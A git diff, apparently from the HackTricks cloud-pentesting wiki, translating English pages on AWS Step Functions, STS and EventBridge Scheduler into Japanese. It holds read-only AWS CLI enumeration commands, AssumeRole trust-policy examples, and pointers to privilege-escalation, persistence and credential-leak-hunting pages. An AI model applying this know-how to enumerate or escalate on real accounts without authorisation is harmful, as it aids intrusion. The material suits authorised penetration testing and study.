{{#endref}} -#### Post Exploitation +#### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md {{#endref}} -#### Persistence +#### 永続性 {{#ref}} ../aws-persistence/aws-sqs-persistence.md {{#endref}} -## References +## 参考文献 - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..ba3763bb0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,266 +4,253 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functionsは、複数のAWSサービスをサーバーレスワークフローに調整および編成するためのワークフローサービスです。AWS Step Functionsを使用することで、AWS Lambda、Amazon S3、Amazon DynamoDBなどのさまざまなAWSサービスをステップのシーケンスで接続するワークフローを設計および実行できます。このオーケストレーションサービスは、視覚的なワークフローインターフェースを提供し、**状態マシン**機能を提供し、JSONベースの**Amazon States Language**（ASL）を使用してワークフローの各ステップを宣言的に定義できます。 ## Key concepts ### Standard vs. Express Workflows -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functionsは、2種類の**状態マシンワークフロー**を提供します：StandardとExpress。 -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Standard Workflow**：このデフォルトのワークフロータイプは、長時間実行される耐久性があり、監査可能なプロセス向けに設計されています。**exactly-once execution**をサポートし、リトライが指定されない限り、タスクは一度だけ実行されることを保証します。詳細な実行履歴が必要なワークフローに最適で、最大1年間実行できます。 +- **Express Workflow**：このタイプは、高ボリュームで短期間のタスクに最適で、最大5分間実行されます。**at-least-once execution**をサポートし、データ処理のような冪等タスクに適しています。これらのワークフローは、実行、期間、およびメモリ使用量に基づいて課金され、コストとパフォーマンスが最適化されています。 ### States -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +Statesは状態マシンの基本単位です。ワークフロー内の個々のステップを定義し、そのタイプに応じてさまざまな機能を実行できます： -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Task:** ジョブを実行し、通常はLambdaのようなAWSサービスを使用します。 +- **Choice:** 入力に基づいて決定を下します。 +- **Fail/Succeed:** 失敗または成功で実行を終了します。 +- **Pass:** 入力を出力に渡すか、データを注入します。 +- **Wait:** 設定された時間だけ実行を遅延させます。 +- **Parallel:** 並列ブランチを開始します。 +- **Map:** アイテムに対して動的にステップを反復します。 ### Task -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +**Task**状態は、状態マシンによって実行される単一の作業単位を表します。タスクは、アクティビティ、Lambda関数、AWSサービス、またはサードパーティAPIなど、さまざまなリソースを呼び出すことができます。 -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Activities**: あなたが管理するカスタムワーカーで、長時間実行されるプロセスに適しています。 +- Resource: **`arn:aws:states:region:account:activity:name`**. +- **Lambda Functions**: AWS Lambda関数を実行します。 +- Resource: **`arn:aws:lambda:region:account:function:function-name`**. +- **AWS Services**: DynamoDBやS3など、他のAWSサービスと直接統合します。 +- Resource: **`arn:partition:states:region:account:servicename:APIname`**. +- **HTTP Task**: サードパーティAPIを呼び出します。 +- Resource field: **`arn:aws:states:::http:invoke`**. 次に、API URL、メソッド、および認証の詳細など、APIエンドポイントの構成詳細を提供する必要があります。 +以下の例は、HelloWorldというLambda関数を呼び出すTask状態の定義を示しています： ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. +**Choice** ステートは、ワークフローに条件付きロジックを追加し、入力データに基づいて決定を可能にします。指定された条件を評価し、結果に基づいて対応するステートに遷移します。 -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. +- **Comparison**: 各選択ルールには、入力変数を指定された値または別の変数と比較する比較演算子（例：**`NumericEquals`**、**`StringEquals`**）が含まれています。 +- **Next Field**: Choice ステートは **`End`** フィールドをサポートしていません。代わりに、比較が真である場合に遷移する **`Next`** ステートを定義します。 Example of **Choice** state: - ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` +### 失敗/成功 -### Fail/Succeed +**`Fail`** ステートは、ステートマシンの実行を停止し、それを失敗としてマークします。エラー名と原因を指定し、失敗に関する詳細を提供するために使用されます。このステートは終端であり、実行フローを終了します。 -A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. - -A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. +**`Succeed`** ステートは、実行を成功裏に停止します。通常、ワークフローが成功裏に完了したときに終了するために使用されます。このステートは **`Next`** フィールドを必要としません。 {{#tabs }} -{{#tab name="Fail example" }} - +{{#tab name="失敗の例" }} ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="成功例" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +**Pass**ステートは、作業を行うことなく、またはフィルターを使用してJSONステート入力を変換することによって、その入力を出力に渡し、変換されたデータを次のステートに渡します。これは、静的データを注入したり、データを変換したりすることを可能にするため、ステートマシンのテストや構築に役立ちます。 ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" +} +``` +### Wait + +**Wait**ステートは、指定された期間、ステートマシンの実行を遅延させます。待機時間を設定するための主な方法は3つあります。 + +- **X秒**: 待機する固定の秒数。 + +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" } ``` -### Wait +- **絶対タイムスタンプ**: 待機する正確な時間。 -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **X Seconds**: A fixed number of seconds to wait. +- **動的待機**: **`SecondsPath`**または**`TimestampPath`**を使用して入力に基づく。 - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` - -- **Absolute Timestamp**: An exact time to wait until. - - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` - -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. - - ```json - jsonCopiar código - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar código +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: - -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. +**Parallel**ステートは、ワークフロー内で複数のタスクのブランチを同時に実行することを可能にします。各ブランチは独立して実行され、それぞれのステートのシーケンスを処理します。実行は、すべてのブランチが完了するまで待機し、その後次のステートに進みます。主なフィールドは次のとおりです。 +- **Branches**: 並列実行パスを定義する配列。各ブランチは別々のステートマシンです。 +- **ResultPath**: ブランチの結合出力をどこに（入力内で）配置するかを定義します。 +- **Retry and Catch**: 並列ステートのエラーハンドリング設定。 ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Map + +**Map** ステートは、データセット内の各アイテムに対して一連のステップを実行することを可能にします。データの並列処理に使用されます。データセットのアイテムをどのように処理したいかに応じて、Step Functions は以下のモードを提供します。 + +- **Inline Mode**: 各 JSON 配列アイテムに対してステートのサブセットを実行します。40 未満の並列反復を持つ小規模なタスクに適しており、**`Map`** ステートを含むワークフローのコンテキスト内でそれぞれを実行します。 + +```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Distributed Mode**: 高い同時実行性を持つ大規模な並列処理のために設計されています。Amazon S3 に保存されているような大規模データセットの処理をサポートし、最大 10,000 の並列子ワークフロー実行を高い同時実行性で実行します。これらの子は別の子実行として実行されます。 -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: - -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. - - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` - -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. - - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` ### Versions and aliases -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +Step Functions は、**バージョン** と **エイリアス** を通じてワークフローデプロイメントを管理することもできます。バージョンは、実行可能なステートマシンのスナップショットを表します。エイリアスは、ステートマシンの最大 2 つのバージョンへのポインタとして機能します。 -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Versions**: これらの不変のステートマシンのスナップショットは、そのステートマシンの最新のリビジョンから作成されます。各バージョンは、ステートマシン ARN とバージョン番号をコロンで区切って組み合わせた一意の ARN によって識別されます (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**)。バージョンは編集できませんが、ステートマシンを更新して新しいバージョンを公開するか、希望するステートマシンバージョンを使用できます。 +- **Aliases**: これらのポインタは、同じステートマシンの最大 2 つのバージョンを参照できます。単一のステートマシンに対して複数のエイリアスを作成でき、それぞれはステートマシン ARN とエイリアス名をコロンで区切って組み合わせた一意の ARN によって識別されます (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**)。エイリアスは、ステートマシンの 2 つのバージョンのいずれかの間でトラフィックをルーティングすることを可能にします。あるいは、エイリアスはステートマシンの特定のバージョンを指すことができますが、他のエイリアスには指しません。必要に応じて、異なるバージョンのステートマシンにリダイレクトするように更新でき、制御されたデプロイメントとワークフロー管理を促進します。 -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). +**ASL** に関する詳細情報については、次を確認してください: [**Amazon States Language**](https://states-language.net/spec.html)。 ## IAM Roles for State machines -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: +AWS Step Functions は、AWS Identity and Access Management (IAM) ロールを利用して、ステートマシン内のリソースとアクションへのアクセスを制御します。AWS Step Functions におけるセキュリティと IAM ロールに関連する重要な側面は以下の通りです。 -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. +- **Execution Role**: AWS Step Functions の各ステートマシンは IAM 実行ロールに関連付けられています。このロールは、ステートマシンがあなたの代わりに実行できるアクションを定義します。ステートマシンが AWS サービスと相互作用するステート間を遷移する際（Lambda 関数の呼び出し、DynamoDB へのアクセスなど）、この実行ロールを引き受けてそれらのアクションを実行します。 +- **Permissions**: IAM 実行ロールは、他の AWS サービスに対する必要なアクションを許可する権限で構成する必要があります。たとえば、ステートマシンが AWS Lambda 関数を呼び出す必要がある場合、IAM ロールには **`lambda:InvokeFunction`** 権限が必要です。同様に、DynamoDB に書き込む必要がある場合、適切な権限 (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`** など) を付与する必要があります。 ## Enumeration -ReadOnlyAccess policy is enough for all the following enumeration actions. - +ReadOnlyAccess ポリシーは、以下のすべての列挙アクションに対して十分です。 ```bash # State machines # @@ -310,35 +297,30 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` +## プライベートエスカレーション -## Privesc - -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +次のページでは、**Step Functionsの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md {{#endref}} -## Post Exploitation +## ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-stepfunctions-post-exploitation.md {{#endref}} -## Persistence +## 永続性 {{#ref}} ../aws-persistence/aws-step-functions-persistence.md {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html) - [https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html](https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html) - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..06aba2068 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS Security Token Service (STS)**は、主に**一時的で制限された特権の資格情報**を発行するために設計されています。これらの資格情報は、**AWS Identity and Access Management (IAM)**ユーザーや認証されたユーザー（フェデレーテッドユーザー）のためにリクエストできます。 -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +STSの目的が**アイデンティティのなりすましのための資格情報を発行すること**であるため、このサービスは**特権の昇格と持続性の維持**に非常に価値がありますが、選択肢は多くありません。 ### Assume Role Impersonation -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +AWS STSが提供するアクション[AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)は重要で、これはあるプリンシパルが別のプリンシパルのために資格情報を取得することを許可し、実質的にそのプリンシパルになりすますことを可能にします。呼び出すと、指定されたARNに対応するアクセスキーID、シークレットキー、およびセッショントークンが返されます。 -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +ペネトレーションテスターやレッドチームのメンバーにとって、この技術は特権の昇格に不可欠です（詳細は[**こちら**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)を参照）。ただし、この技術は非常に目立つため、攻撃者を驚かせることはないかもしれません。 #### Assume Role Logic -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: - +同じアカウント内で役割を引き受けるためには、**引き受ける役割が特定の役割ARNを許可している場合**のように： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +この場合、役割 **`priv-role`** は、その役割を引き受けるために**特に許可される必要はありません**（その許可があれば十分です）。 -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +ただし、役割がアカウントにそれを引き受けることを許可している場合、次のようになります： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +その役割を引き受けようとするには、その役割に対して**特定の `sts:AssumeRole` 権限**が必要です**。** -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). +異なるアカウントから**役割**を引き受けようとすると、**引き受けられる役割はそれを許可する必要があります**（役割の**ARN**または**外部アカウント**を示す）、そして**他の役割を引き受けようとしている役割は**それを引き受けるための権限を**持っている必要があります**（この場合、引き受けられる役割がARNを指定していてもこれはオプションではありません）。 ### Enumeration - ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,33 +67,28 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` +### プライベートエスカレーション -### Privesc - -In the following page you can check how to **abuse STS permissions to escalate privileges**: +次のページでは、**STS権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-sts-post-exploitation.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-sts-persistence.md {{#endref}} -## References +## 参考文献 - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..69ddd8394 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler** は、タスクをスケールで作成、実行、管理するために設計された完全に管理された**サーバーレススケジューラー**です。これにより、270以上のAWSサービスと6,000以上のAPI操作にわたって数百万のタスクを中央サービスからスケジュールできます。組み込みの信頼性と管理するインフラストラクチャがないため、EventBridge Schedulerはスケジューリングを簡素化し、メンテナンスコストを削減し、需要に応じて自動的にスケールします。定期的なスケジュールのためにcronまたはレート式を設定し、一度限りの呼び出しを設定し、リトライオプションを持つ柔軟な配信ウィンドウを定義することで、下流ターゲットの可用性に基づいてタスクが確実に配信されるようにします。 -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +地域ごとにアカウントあたり1,000,000のスケジュールの初期制限があります。公式のクォーターページでも「一度限りのスケジュールは完了したら削除することをお勧めします」と示唆しています。 ### Types of Schedules -Types of Schedules in EventBridge Scheduler: +EventBridge Schedulerのスケジュールの種類： -1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **一度限りのスケジュール** – 特定の時間にタスクを実行します。例：12月21日午前7時UTC。 +2. **レートベースのスケジュール** – 周期的なタスクを頻度に基づいて設定します。例：2時間ごと。 +3. **Cronベースのスケジュール** – cron式を使用して周期的なタスクを設定します。例：毎週金曜日午後4時。 -Two Mechanisms for Handling Failed Events: +失敗したイベントを処理するための2つのメカニズム： -1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **リトライポリシー** – 失敗したイベントのリトライ試行回数と、失敗と見なす前に未処理のまま保持する時間を定義します。 +2. **デッドレターキュー (DLQ)** – リトライが尽きた後に失敗したイベントが配信される標準のAmazon SQSキュー。DLQは、スケジュールやその下流ターゲットの問題をトラブルシューティングするのに役立ちます。 ### Targets -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API. +スケジューラーには、一般的に使用され、AWSが設定を簡素化した[**テンプレート化された (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)ターゲットと、任意のAWS APIを呼び出すために使用できる[**ユニバーサル (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)ターゲットの2種類があります。 -**Templated targets** support the following services: +**テンプレート化されたターゲット**は、以下のサービスをサポートしています： - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask - - Parameters: EcsParameters +- Parameters: EcsParameters - EventBridge – PutEvents - - Parameters: EventBridgeParameters +- Parameters: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord - - Parameters: KinesisParameters +- Parameters: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Parameters: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage - - Parameters: SqsParameters +- Parameters: SqsParameters - Step Functions – StartExecution ### Enumeration - ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,10 +64,9 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +次のページでは、**eventbridge schedulerの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -79,7 +77,3 @@ In the following page, you can check how to **abuse eventbridge scheduler permis - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..909476b13 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,58 +1,54 @@ -# AWS - Unauthenticated Enum & Access +# AWS - 認証なしの列挙とアクセス {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## AWS 認証情報の漏洩 -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +AWS 